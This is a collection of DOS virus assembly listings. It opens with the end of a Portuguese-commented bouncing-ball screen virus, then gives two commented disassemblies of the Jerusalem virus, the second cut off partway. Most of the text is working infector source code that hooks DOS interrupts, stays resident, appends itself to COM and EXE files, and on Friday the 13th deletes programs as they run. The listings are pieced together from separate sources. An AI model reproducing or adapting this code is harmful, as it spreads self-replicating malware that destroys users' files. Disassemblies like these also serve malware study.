               xor     ch,0ff                  ; Mudar direccao
               inc     ch
coluna_1:       cmp     dl,0                            ; Coluna = 0 ?
               jnz     coluna_2
               xor     cl,0ff                  ; Mudar direccao
               inc     cl
coluna_2:       cmp     dl,ds:colunas           ; Colunas = numero de colunas ?
               jnz     esta_fixe
               xor     cl,0ff                  ; Mudar direccao
               inc     cl
esta_fixe:      cmp     cx,ds:direccao          ; Mesma direccao ?
               jnz     act_bola
               mov     ax,ds:carat_attr
               and     al,7
               cmp     al,3
               jnz     nao_e
               xor     ch,0ff
               inc     ch
nao_e:  cmp     al,5
               jnz     act_bola
               xor     cl,0ff
               inc     cl
act_bola:       add     dl,cl                           ; Actualizar as coordenadas da bola
               add     dh,ch
               mov     ds:direccao,cx
               mov     ds:coordenadas,dx
               mov     ah,2
               int     10
               mov     ah,8                            ; Ler carater para onde vai a bola
               int     10
               mov     ds:carat_attr,ax
               mov     bl,ah
               cmp     byte ptr ds:muda_attr,1
               jnz     nao_muda
               mov     bl,83                           ; Novo atributo
nao_muda:       mov     cx,1
               mov     ax,0907                 ; Escrever a bola no ecran
               int     10
               pop     dx
               mov     ah,2                            ; Recolocar o cursor no posicao onde
               int     10                              ; estava antes de escrever a bola
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               pop     ds
velho_8 equ     $+1
               jmpf    0:0
Int_8           endp

Carat_attr      dw      ?       ; 7fcd
Coordenadas     dw      0101  ; 7fcf
Direccao        dw      0101  ; 7fd1
Muda_attr       db      1       ; 7fd3
Modo_pag        dw      ?       ; 7fd4
Colunas db      ?       ; 7fd6

; Os bytes que se seguem destinam-se a reservar espaco para o stack

Virus           ENDS

END             begin




PAGE  59,132

;*****************************************************************************
;                           Jerusalem Virus - Strain B
;
;                          Disassembled and commented by:
;
;                               - Captain Morgan -
;*****************************************************************************


.286c

data_1e         equ     2Ch
data_2e         equ     43h
data_3e         equ     45h
data_4e         equ     47h
data_5e         equ     49h
data_6e         equ     51h
data_7e         equ     53h
data_8e         equ     57h
data_9e         equ     5Dh
data_10e        equ     5Fh
data_11e        equ     61h
data_12e        equ     63h
data_13e        equ     65h
data_14e        equ     78h
data_15e        equ     7Ah
data_16e        equ     7Ch
data_17e        equ     7Eh
data_18e        equ     0Ah
data_19e        equ     0Ch
data_20e        equ     0Eh
data_21e        equ     0Fh
data_22e        equ     11h
data_23e        equ     13h
data_24e        equ     15h
data_25e        equ     17h
data_26e        equ     19h
data_27e        equ     1Bh
data_28e        equ     1Dh
data_29e        equ     1Fh
data_30e        equ     29h
data_31e        equ     2Bh
data_32e        equ     2Dh
data_33e        equ     2Fh
data_34e        equ     31h
data_35e        equ     33h
data_36e        equ     4Eh
data_37e        equ     70h
data_38e        equ     72h
data_39e        equ     74h
data_40e        equ     76h
data_41e        equ     7Ah
data_42e        equ     80h
data_43e        equ     82h
data_44e        equ     8Fh

seg_a           segment
               assume  cs:seg_a, ds:seg_a


               org     100h

je              proc    far

start:
               jmp     loc_2                   ; (0195)
               db      73h, 55h, 4Dh, 73h, 44h, 6Fh
               db      73h, 0, 1, 0EBh, 21h, 0
               db      0, 0, 0ABh, 0Bh, 2Ch, 2
               db      70h, 0, 92h, 0Eh, 29h, 1Ah
               db      0EBh, 4, 59h, 6Fh, 0A8h
               db      7Bh
               db      13 dup (0)
               db      0E8h, 6, 0D7h, 62h, 21h, 80h
               db      0, 0, 0, 80h, 0, 62h
               db      21h, 5Ch, 0, 62h, 21h, 6Ch
               db      0, 62h, 21h, 10h, 7, 60h
               db      5Bh, 0C5h, 0, 60h, 5Bh, 0
               db      0F0h, 6, 0, 4Dh, 5Ah, 30h
               db      0, 53h, 0, 1Fh, 0, 20h
               db      0, 0, 0, 0FFh, 0FFh, 0B2h
               db      9, 10h, 7, 84h, 19h, 0C5h
               db      0, 0B2h, 9, 20h, 0, 0
               db      0, 2Eh, 0Dh, 0Ah, 0, 0
               db      5, 0, 20h, 0, 26h, 12h
               db      46h, 0A3h, 0, 2, 10h, 0
               db      20h, 9Dh, 0, 0, 7Bh, 3Dh
               db      2Eh, 9Bh
               db      'COMMAND.COM'
               db      1, 0, 0, 0, 0, 0
loc_2:
               cld                             ; Clear direction
               mov     ah,0E0h
               int     21h                     ; DOS Services  ah=function E0h
               cmp     ah,0E0h
               jae     loc_3                   ; Jump if above or =
               cmp     ah,3
               jb      loc_3                   ; Jump if below
               mov     ah,0DDh
               mov     di,100h
               mov     si,710h
               add     si,di
               mov     cx,cs:[di+11h]
               nop                             ;*Fixup for MASM (M)
               int     21h                     ; DOS Services  ah=function DDh
loc_3:
               mov     ax,cs
               add     ax,10h
               mov     ss,ax
               mov     sp,700h
loc_4:
               push    ax
               mov     ax,0C5h
               push    ax
               retf                            ; Return far
               db      0FCh, 6, 2Eh, 8Ch, 6, 31h
               db      0, 2Eh, 8Ch, 6, 39h, 0
               db      2Eh, 8Ch, 6, 3Dh, 0, 2Eh
               db      8Ch, 6, 41h, 0, 8Ch, 0C0h
               db      5, 10h, 0, 2Eh, 1, 6
               db      49h, 0, 2Eh, 1, 6, 45h
               db      0, 0B4h, 0E0h, 0CDh, 21h, 80h
               db      0FCh, 0E0h, 73h, 13h, 80h, 0FCh
               db      3, 7, 2Eh, 8Eh, 16h, 45h
               db      0, 2Eh, 8Bh, 26h, 43h, 0
               db      2Eh, 0FFh, 2Eh, 47h, 0, 33h
               db      0C0h, 8Eh, 0C0h, 26h, 0A1h, 0FCh
               db      3, 2Eh, 0A3h, 4Bh, 0, 26h
               db      0A0h, 0FEh, 3, 2Eh, 0A2h, 4Dh
               db      0
               db      26h

je              endp

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

int_24h_entry   proc    far
               mov     word ptr ds:[3FCh],0A5F3h
               mov     byte ptr es:data_47,0CBh
               pop     ax
               add     ax,10h
               mov     es,ax
               push    cs
               pop     ds
               mov     cx,710h
               shr     cx,1                    ; Shift w/zeros fill
               xor     si,si                   ; Zero register
               mov     di,si
               push    es
               mov     ax,142h
               push    ax
;*              jmp     far ptr loc_1           ;*(0000:03FC)
               db      0EAh, 0FCh, 3, 0, 0
               db      8Ch, 0C8h, 8Eh, 0D0h, 0BCh, 0
               db      7, 33h, 0C0h, 8Eh, 0D8h, 2Eh
               db      0A1h, 4Bh, 0, 0A3h, 0FCh, 3
               db      2Eh, 0A0h, 4Dh, 0, 0A2h, 0FEh
               db      3
int_24h_entry   endp


;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

int_21h_entry   proc    far
               mov     bx,sp
               mov     cl,4
               shr     bx,cl                   ; Shift w/zeros fill
               add     bx,10h
               mov     cs:data_35e,bx
               mov     ah,4Ah                  ; 'J'
               mov     es,cs:data_34e
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     ax,3521h
               int     21h                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               mov     cs:data_25e,bx
               mov     cs:data_26e,es
               push    cs
               pop     ds
               mov     dx,25Bh
               mov     ax,2521h
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               mov     es,ds:data_34e
               mov     es,es:data_1e
               xor     di,di                   ; Zero register
               mov     cx,7FFFh
               xor     al,al                   ; Zero register

locloop_5:
               repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
               cmp     es:[di],al
               loopnz  locloop_5               ; Loop if zf=0, cx>0

               mov     dx,di
               add     dx,3
               mov     ax,4B00h
               push    es
               pop     ds
               push    cs
               pop     es
               mov     bx,35h
               push    ds
               push    es
               push    ax
               push    bx
               push    cx
               push    dx
               mov     ah,2Ah                  ; '*'
               int     21h                     ; DOS Services  ah=function 2Ah
                                               ;  get date, cx=year, dx=mon/day
               mov     byte ptr cs:data_20e,0
               cmp     cx,7C3h
               je      loc_7                   ; Jump if equal
               cmp     al,5                    ; Check to see if it's Friday
               jne     loc_6                   ; Jump if not equal
               cmp     dl,0Dh                  ; Check to see if it's the 13th
               jne     loc_6                   ; Jump if not equal
               inc     byte ptr cs:data_20e
               jmp     short loc_7             ; (02F7)
               db      90h
loc_6:
               mov     ax,3508h
               int     21h                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               mov     cs:data_23e,bx
               mov     cs:data_24e,es
               push    cs
               pop     ds
               mov     word ptr ds:data_29e,7E90h
               mov     ax,2508h
               mov     dx,21Eh
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
loc_7:
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               pop     es
               pop     ds
               pushf                           ; Push flags
               call    dword ptr cs:data_25e
               push    ds
               pop     es
               mov     ah,49h                  ; 'I'
               int     21h                     ; DOS Services  ah=function 49h
                                               ;  release memory block, es=seg
               mov     ah,4Dh                  ; 'M'
               int     21h                     ; DOS Services  ah=function 4Dh
                                               ;  get return code info in ax
               mov     ah,31h                  ; '1'
               mov     dx,600h
               mov     cl,4
               shr     dx,cl                   ; Shift w/zeros fill
               add     dx,10h
               int     21h                     ; DOS Services  ah=function 31h
                                               ;  terminate & stay resident
               db      32h, 0C0h, 0CFh, 2Eh, 83h, 3Eh
               db      1Fh, 0, 2, 75h, 17h, 50h
               db      53h, 51h, 52h, 55h, 0B8h, 2
               db      6, 0B7h, 87h, 0B9h, 5, 5
               db      0BAh, 10h, 10h, 0CDh, 10h, 5Dh
               db      5Ah, 59h, 5Bh, 58h, 2Eh, 0FFh
               db      0Eh, 1Fh, 0, 75h, 12h, 2Eh
               db      0C7h, 6, 1Fh, 0, 1, 0
               db      50h, 51h, 56h, 0B9h, 1, 40h
               db      0F3h, 0ACh
               db      5Eh, 59h, 58h
loc_8:
               jmp     dword ptr cs:data_23e
               db      9Ch, 80h, 0FCh, 0E0h, 75h, 5
               db      0B8h, 0, 3, 9Dh, 0CFh, 80h
               db      0FCh, 0DDh, 74h, 13h, 80h, 0FCh
               db      0DEh, 74h, 28h, 3Dh, 0, 4Bh
               db      75h, 3, 0E9h, 0B4h, 0
loc_9:
               popf                            ; Pop flags
               jmp     dword ptr cs:data_25e
loc_10:
               pop     ax
               pop     ax
               mov     ax,100h
               mov     cs:data_18e,ax
               pop     ax
               mov     cs:data_19e,ax
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               popf                            ; Pop flags
               mov     ax,cs:data_21e
               jmp     dword ptr cs:data_18e
loc_11:
               add     sp,6
               popf                            ; Pop flags
               mov     ax,cs
               mov     ss,ax
               mov     sp,710h
               push    es
               push    es
               xor     di,di                   ; Zero register
               push    cs
               pop     es
               mov     cx,10h
               mov     si,bx
               mov     di,21h
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               mov     ax,ds
               mov     es,ax
               mul     word ptr cs:data_41e    ; ax = data * ax
               add     ax,cs:data_31e
               adc     dx,0
               div     word ptr cs:data_41e    ; ax,dxrem=dx:ax/data
               mov     ds,ax
               mov     si,dx
               mov     di,dx
               mov     bp,es
               mov     bx,cs:data_33e
               or      bx,bx                   ; Zero ?
               jz      loc_13                  ; Jump if zero
loc_12:
               mov     cx,8000h
               rep     movsw                   ; Rep when cx >0 Mov [si] to es:[di]
               add     ax,1000h
               add     bp,1000h
               mov     ds,ax
               mov     es,bp
               dec     bx
               jnz     loc_12                  ; Jump if not zero
loc_13:
               mov     cx,cs:data_32e
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               pop     ax
               push    ax
               add     ax,10h
               add     cs:data_30e,ax
data_47         db      2Eh
               db      1, 6, 25h, 0, 2Eh, 0A1h
               db      21h, 0, 1Fh, 7, 2Eh, 8Eh
               db      16h, 29h, 0, 2Eh, 8Bh, 26h
               db      27h, 0, 2Eh, 0FFh, 2Eh, 23h
               db      0
loc_14:
               xor     cx,cx                   ; Zero register
               mov     ax,4301h
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               mov     ah,41h                  ; 'A'
               int     21h                     ; DOS Services  ah=function 41h
                                               ;  delete file, name @ ds:dx
               mov     ax,4B00h
               popf                            ; Pop flags
               jmp     dword ptr cs:data_25e
loc_15:
               cmp     byte ptr cs:data_20e,1
               je      loc_14                  ; Jump if equal
               mov     word ptr cs:data_37e,0FFFFh
               mov     word ptr cs:data_44e,0
               mov     cs:data_42e,dx
               mov     cs:data_43e,ds
               push    ax
               push    bx
               push    cx
               push    dx
               push    si
               push    di
               push    ds
               push    es
               cld                             ; Clear direction
               mov     di,dx
               xor     dl,dl                   ; Zero register
               cmp     byte ptr [di+1],3Ah     ; ':'
               jne     loc_16                  ; Jump if not equal
               mov     dl,[di]
               and     dl,1Fh
loc_16:
               mov     ah,36h                  ; '6'
               int     21h                     ; DOS Services  ah=function 36h
                                               ;  get free space, drive dl,1=a:
               cmp     ax,0FFFFh
               jne     loc_18                  ; Jump if not equal
loc_17:
               jmp     loc_44                  ; (06E7)
loc_18:
               mul     bx                      ; dx:ax = reg * ax
               mul     cx                      ; dx:ax = reg * ax
               or      dx,dx                   ; Zero ?
               jnz     loc_19                  ; Jump if not zero
               cmp     ax,710h
               jb      loc_17                  ; Jump if below
loc_19:
               mov     dx,cs:data_42e
               push    ds
               pop     es
               xor     al,al                   ; Zero register
               mov     cx,41h
               repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
               mov     si,cs:data_42e
loc_20:
               mov     al,[si]
               or      al,al                   ; Zero ?
               jz      loc_22                  ; Jump if zero
               cmp     al,61h                  ; 'a'
               jb      loc_21                  ; Jump if below
               cmp     al,7Ah                  ; 'z'
               ja      loc_21                  ; Jump if above
               sub     byte ptr [si],20h       ; ' '
loc_21:
               inc     si
               jmp     short loc_20            ; (0490)
loc_22:
               mov     cx,0Bh
               sub     si,cx
               mov     di,84h
               push    cs
               pop     es
               mov     cx,0Bh
               repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
               jnz     loc_23                  ; Jump if not zero
               jmp     loc_44                  ; (06E7)
loc_23:
               mov     ax,4300h
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               jc      loc_24                  ; Jump if carry Set
               mov     cs:data_38e,cx
loc_24:
               jc      loc_26                  ; Jump if carry Set
               xor     al,al                   ; Zero register
               mov     cs:data_36e,al
               push    ds
               pop     es
               mov     di,dx
               mov     cx,41h
               repne   scasb                   ; Rep zf=0+cx >0 Scan es:[di] for al
               cmp     byte ptr [di-2],4Dh     ; 'M'
               je      loc_25                  ; Jump if equal
               cmp     byte ptr [di-2],6Dh     ; 'm'
               je      loc_25                  ; Jump if equal
               inc     byte ptr cs:data_36e
loc_25:
               mov     ax,3D00h
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
loc_26:
               jc      loc_28                  ; Jump if carry Set
               mov     cs:data_37e,ax
               mov     bx,ax
               mov     ax,4202h
               mov     cx,0FFFFh
               mov     dx,0FFFBh
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               jc      loc_26                  ; Jump if carry Set
               add     ax,5
               mov     cs:data_22e,ax
               mov     cx,5
               mov     dx,6Bh
               mov     ax,cs
               mov     ds,ax
               mov     es,ax
               mov     ah,3Fh                  ; '?'
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               mov     di,dx
               mov     si,5
               repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
               jnz     loc_27                  ; Jump if not zero
               mov     ah,3Eh                  ; '>'
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               jmp     loc_44                  ; (06E7)
loc_27:
               mov     ax,3524h
               int     21h                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               mov     ds:data_27e,bx
               mov     ds:data_28e,es
               mov     dx,21Bh
               mov     ax,2524h
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               lds     dx,dword ptr ds:data_42e        ; Load 32 bit ptr
               xor     cx,cx                   ; Zero register
               mov     ax,4301h
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
loc_28:
               jc      loc_29                  ; Jump if carry Set
               mov     bx,cs:data_37e
               mov     ah,3Eh                  ; '>'
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               mov     word ptr cs:data_37e,0FFFFh
               mov     ax,3D02h
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               jc      loc_29                  ; Jump if carry Set
               mov     cs:data_37e,ax
               mov     ax,cs
               mov     ds,ax
               mov     es,ax
               mov     bx,ds:data_37e
               mov     ax,5700h
               int     21h                     ; DOS Services  ah=function 57h
                                               ;  get/set file date & time
               mov     ds:data_39e,dx
               mov     ds:data_40e,cx
               mov     ax,4200h
               xor     cx,cx                   ; Zero register
               mov     dx,cx
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
loc_29:
               jc      loc_32                  ; Jump if carry Set
               cmp     byte ptr ds:data_36e,0
               je      loc_30                  ; Jump if equal
               jmp     short loc_34            ; (05E6)
               db      90h
loc_30:
               mov     bx,1000h
               mov     ah,48h                  ; 'H'
               int     21h                     ; DOS Services  ah=function 48h
                                               ;  allocate memory, bx=bytes/16
               jnc     loc_31                  ; Jump if carry=0
               mov     ah,3Eh                  ; '>'
               mov     bx,ds:data_37e
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               jmp     loc_44                  ; (06E7)
loc_31:
               inc     word ptr ds:data_44e
               mov     es,ax
               xor     si,si                   ; Zero register
               mov     di,si
               mov     cx,710h
               rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
               mov     dx,di
               mov     cx,ds:data_22e
               mov     bx,ds:data_37e
               push    es
               pop     ds
               mov     ah,3Fh                  ; '?'
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
loc_32:
               jc      loc_33                  ; Jump if carry Set
               add     di,cx
               xor     cx,cx                   ; Zero register
               mov     dx,cx
               mov     ax,4200h
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               mov     si,5
               mov     cx,5
               rep     movs  byte ptr es:[di],cs:[si]  ; Rep when cx >0 Mov [si] to es:[di]
               mov     cx,di
               xor     dx,dx                   ; Zero register
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
loc_33:
               jc      loc_35                  ; Jump if carry Set
               jmp     loc_42                  ; (06A2)
loc_34:
               mov     cx,1Ch
               mov     dx,4Fh
               mov     ah,3Fh                  ; '?'
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
loc_35:
               jc      loc_37                  ; Jump if carry Set
               mov     word ptr ds:data_11e,1984h
               mov     ax,ds:data_9e
               mov     ds:data_3e,ax
               mov     ax,ds:data_10e
               mov     ds:data_2e,ax
               mov     ax,ds:data_12e
               mov     ds:data_4e,ax
               mov     ax,ds:data_13e
               mov     ds:data_5e,ax
               mov     ax,ds:data_7e
               cmp     word ptr ds:data_6e,0
               je      loc_36                  ; Jump if equal
               dec     ax
loc_36:
               mul     word ptr ds:data_14e    ; ax = data * ax
               add     ax,ds:data_6e
               adc     dx,0
               add     ax,0Fh
               adc     dx,0
               and     ax,0FFF0h
               mov     ds:data_16e,ax
               mov     ds:data_17e,dx
               add     ax,710h
               adc     dx,0
loc_37:
               jc      loc_39                  ; Jump if carry Set
               div     word ptr ds:data_14e    ; ax,dxrem=dx:ax/data
               or      dx,dx                   ; Zero ?
               jz      loc_38                  ; Jump if zero
               inc     ax
loc_38:
               mov     ds:data_7e,ax
               mov     ds:data_6e,dx
               mov     ax,ds:data_16e
               mov     dx,ds:data_17e
               div     word ptr ds:data_15e    ; ax,dxrem=dx:ax/data
               sub     ax,ds:data_8e
               mov     ds:data_13e,ax
               mov     word ptr ds:data_12e,0C5h
               mov     ds:data_9e,ax
               mov     word ptr ds:data_10e,710h
               xor     cx,cx                   ; Zero register
               mov     dx,cx
               mov     ax,4200h
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
loc_39:
               jc      loc_40                  ; Jump if carry Set
               mov     cx,1Ch
               mov     dx,4Fh
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
loc_40:
               jc      loc_41                  ; Jump if carry Set
               cmp     ax,cx
               jne     loc_42                  ; Jump if not equal
               mov     dx,ds:data_16e
               mov     cx,ds:data_17e
               mov     ax,4200h
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
loc_41:
               jc      loc_42                  ; Jump if carry Set
               xor     dx,dx                   ; Zero register
               mov     cx,710h
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
loc_42:
               cmp     word ptr cs:data_44e,0
               je      loc_43                  ; Jump if equal
               mov     ah,49h                  ; 'I'
               int     21h                     ; DOS Services  ah=function 49h
                                               ;  release memory block, es=seg
loc_43:
               cmp     word ptr cs:data_37e,0FFFFh
               je      loc_44                  ; Jump if equal
               mov     bx,cs:data_37e
               mov     dx,cs:data_39e
               mov     cx,cs:data_40e
               mov     ax,5701h
               int     21h                     ; DOS Services  ah=function 57h
                                               ;  get/set file date & time
               mov     ah,3Eh                  ; '>'
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               lds     dx,dword ptr cs:data_42e        ; Load 32 bit ptr
               mov     cx,cs:data_38e
               mov     ax,4301h
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               lds     dx,dword ptr cs:data_27e        ; Load 32 bit ptr
               mov     ax,2524h
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
loc_44:
               pop     es
               pop     ds
               pop     di
               pop     si
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               popf                            ; Pop flags
               jmp     dword ptr cs:data_25e
               db      11 dup (0)
               db      4Dh, 63h, 21h, 4
               db      13 dup (0)
               db      5Bh, 0, 0, 0, 2Bh, 0
               db      0FFh
               db      17 dup (0FFh)
               db      'E:\SV\EXECDOS.BAT'
               db      0
               db      'EXECDOS', 0Dh
               db      0, 7Dh, 0, 0, 80h, 0
               db      53h, 0Eh, 5Ch, 0, 53h, 0Eh
               db      6Ch, 4Dh, 63h, 21h, 0, 10h
               db      'EC=F:\DOS\C'
               db      0E9h, 92h, 0, 73h, 55h, 4Dh
               db      73h, 44h, 6Fh, 73h, 0, 1
               db      0B8h, 22h, 0, 0, 0, 1Ah
               db      3, 2Ch, 2, 70h, 0
loc_45:
               xchg    ax,dx
               push    cs
               sub     [bp+si],bx
;*              jmp     short loc_46            ;*(0781)
               db      0EBh, 4
               db      63h, 21h, 0D0h, 59h
int_21h_entry   endp


seg_a           ends



               end     start




CODE SEGMENT
;The following is a disassembled, structured and commented listing of the
;Jerusalem .COM and .EXE infector  virus.  All comments, structure inclusions
;
;              INTERPATH
;              4423 Cheeney Street
;              Santa Clara, CA 95054

;-----------------------------------------------------------------------;
; THE "JERUSALEM" VIRUS                                                 ;
;-----------------------------------------------------------------------;
                       ;
   ORG  100H           ;
                       ;
;-----------------------------------------------------------------------;
; JERUSALEM VIRUS                                ;
;-----------------------------------------------------------------------;
BEGIN_COM:              ; COM FILES START HERE
   JMP  CONTINUE       ;
                       ;
;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
A0103         DB      073H,055H

MS_DOS        DB   'MsDos'        ;

        DB   000H,001H,015H,018H

TIME_BOMB     DB   0         ;WHEN == 1 THIS FILE GETS DELETED!

        DB   000H
A0010         DB   000H

A0011         DW   100H      ;HOST SIZE (BEFORE INFECTION)

OLD_08        DW   0FEA5H,0F000H  ;OLD INT 08H VECTOR (CLOCK TIC)

OLD_21        DW   1460H,024EH    ;OLD INT 21H VECTOR
OLD_24        DW   0556H,16A5H    ;001B

A_FLAG        DW   7E48H          ;???

A0021         DB   000H,000H,000H,000H,000H,000H,000H
        DB   000H,000H,000H,000H

A002C         DW   0         ;A SEGMENT

        DB   000H,000H
A0030         DB   000H

A0031         DW   0178EH         ;OLD ES VALUE

A0033         DW   0080H          ;
                       ;
EXEC_BLOCK    DW   0         ;ENV. SEG. ADDRESS  ;0035
        DW   80H       ;COMMAND LINE ADDRESS
        DW   178EH          ;+4
        DW   005CH          ;FCB #1 ADDRESS
        DW   178EH          ;+8
        DW   006CH          ;FCB #2 ADDRESS
        DW   0178EH         ;+12
                       ;
HOST_SP       DW   0710H          ;(TAKEN FROM EXE HEADER) 0043
HOST_SS       DW   347AH          ;(AT TIME OF INFECTION)
HOST_IP       DW   00C5H          ;
HOST_CS       DW   347AH          ;
;CHECKSUM NOT STORED, TO UNINFECT, YOU MUST CALC IT YOURSELF
                       ;
A004B         DW   0F010H              ;
A004D         DB   82H            ;
A004E         DB   0              ;

EXE_HDR       DB   1CH DUP (?)         ;004F

A006B         DB   5 DUP (?)      ;LAST 5 BYTES OF HOST

HANDLE        DW   0005H               ;0070
HOST_ATT DW   0020H               ;0072
HOST_DATE     DW   0021H               ;0074
HOST_TIME     DW   002DH               ;0076

BLOCK_SIZE    DW   512            ;512 BYTES/BLOCK

A007A         DW   0010H

HOST_SIZE     DW   27C0H,0001H         ;007C
HOST_NAME     DW   41D9H,9B28H         ;POINTER TO HOST NAME

COMMAND_COM   DB   'COMMAND.COM'

        DB   1
A0090         DB   0,0,0,0,0

;-----------------------------------------------------------------------;
;                                           ;
;-----------------------------------------------------------------------;
CONTINUE:                    ;
   CLD                 ;
   MOV  AH,0E0H             ;DO A ???...
   INT  21H            ;
                       ;
   CMP  AH,0E0H             ;
   JNC  L01B5               ;
   CMP  AH,3           ;
   JC   L01B5               ;
                       ;
   MOV  AH,0DDH             ;
   MOV  DI,offset BEGIN_COM ;DI = BEGINNING OF OUR (VIRUS) CODE
   MOV  SI,0710H       ;SI = SIZE OF OUR (VIRUS) CODE
   ADD  SI,DI               ;SI = BEGINNING OF HOST CODE
   MOV  CX,CS:[DI+11H]      ;CX = (SIZE OF HOST CODE?)
   INT  21H            ;
                       ;
L01B5:   MOV  AX,CS               ;TWEEK CODE SEGMENT BY 100H
   ADD  AX,10H              ;
   MOV  SS,AX               ;SS = TWEEKed CS
   MOV  SP,700H             ;SP = END OF OUR CODE (VIRUS)
                       ;
;TWEEK CS TO MAKE IT LOOK LIKE IP STARTS AT 0, NOT 100H BY DOING A RETF
                       ;
   PUSH AX             ;JMP FAR CS+10H:IP-100H
   MOV  AX,offset BEGIN_EXE - offset BEGIN_COM
   PUSH AX             ;
   RETF                ;
                       ;
;---------------------------------------;
   ORG  0C5h           ;
;---------------------------------------;
                       ;
BEGIN_EXE:                   ;EXE FILES START HERE
   CLD                 ;
   PUSH ES             ;
                       ;
   MOV  CS:[A0031],ES       ;
   MOV  CS:[EXEC_BLOCK+4],ES     ;INIT EXEC_BLOCK SEG VALUES
   MOV  CS:[EXEC_BLOCK+8],ES     ;
   MOV  CS:[EXEC_BLOCK+12],ES    ;
                       ;
   MOV  AX,ES               ;TWEEK ES SAME AS CS ABOVE
   ADD  AX,10H              ;
   ADD  CS:[HOST_CS],AX          ;   SAVE NEW ES VALUE
   ADD  CS:[HOST_SS],AX          ;
                       ;
   MOV  AH,0E0H             ;
   INT  21H            ;
                       ;
   CMP  AH,0E0H             ;
   JNC  L0106               ;00F1     7313
                       ;
   CMP  AH,3           ;
   POP  ES             ;00F6
   MOV  SS,CS:[HOST_SS]          ;
   MOV  SP,CS:[HOST_SP]          ;
   JMP  far CS:[HSOT_IP]    ;
                       ;
L0106:   XOR  AX,AX               ;0106     33C0
   MOV  ES,AX               ;0108     8EC0
   MOV  AX,ES:[03FC]        ;010A     26A1FC03
   MOV  CS:[A004B],AX       ;010E     2EA34B00
   MOV  AL,ES:[03FE]        ;0112     26A0FE03
   MOV  CS:[A004D],AL       ;0116     2EA24D00
   MOV  Word ptr ES:[03FC],A5F3  ;011A     26C706FC03F3A5
   MOV  Byte ptr ES:[03FE],CB    ;0121     26C606FE03CB
   POP  AX             ;0127     58
   ADD  AX,10H              ;0128     051000
   MOV  ES,AX               ;012B     8EC0
   PUSH CS             ;012D     0E
   POP  DS             ;012E     1F
   MOV  CX,710H             ;SIZE OF VIRUS CODE
   SHR  CX,1           ;0132     D1E9
   XOR  SI,SI               ;0134     33F6
   MOV  DI,SI               ;0136     8BFE
   PUSH ES             ;0138     06
   MOV  AX,0142             ;0139     B84201
   PUSH AX             ;013C     50
   JMP  0000:03FC      ;013D     EAFC030000
                       ;
   MOV  AX,CS               ;0142     8CC8
   MOV  SS,AX               ;0144     8ED0
   MOV  SP,700H             ;0146     BC0007
   XOR  AX,AX               ;0149     33C0
   MOV  DS,AX               ;014B     8ED8
   MOV  AX,CS:[A004B]       ;014D     2EA14B00
   MOV  [03FC],AX      ;0151     A3FC03
   MOV  AL,CS:[A004D]       ;0154     2EA04D00
   MOV  [03FE],AL      ;0158     A2FE03
   MOV  BX,SP               ;015B     8BDC
   MOV  CL,04               ;015D     B104
   SHR  BX,CL               ;015F     D3EB
   ADD  BX,+10              ;0161     83C310
   MOV  CS:[A0033],BX       ;
                       ;
   MOV  AH,4AH              ;
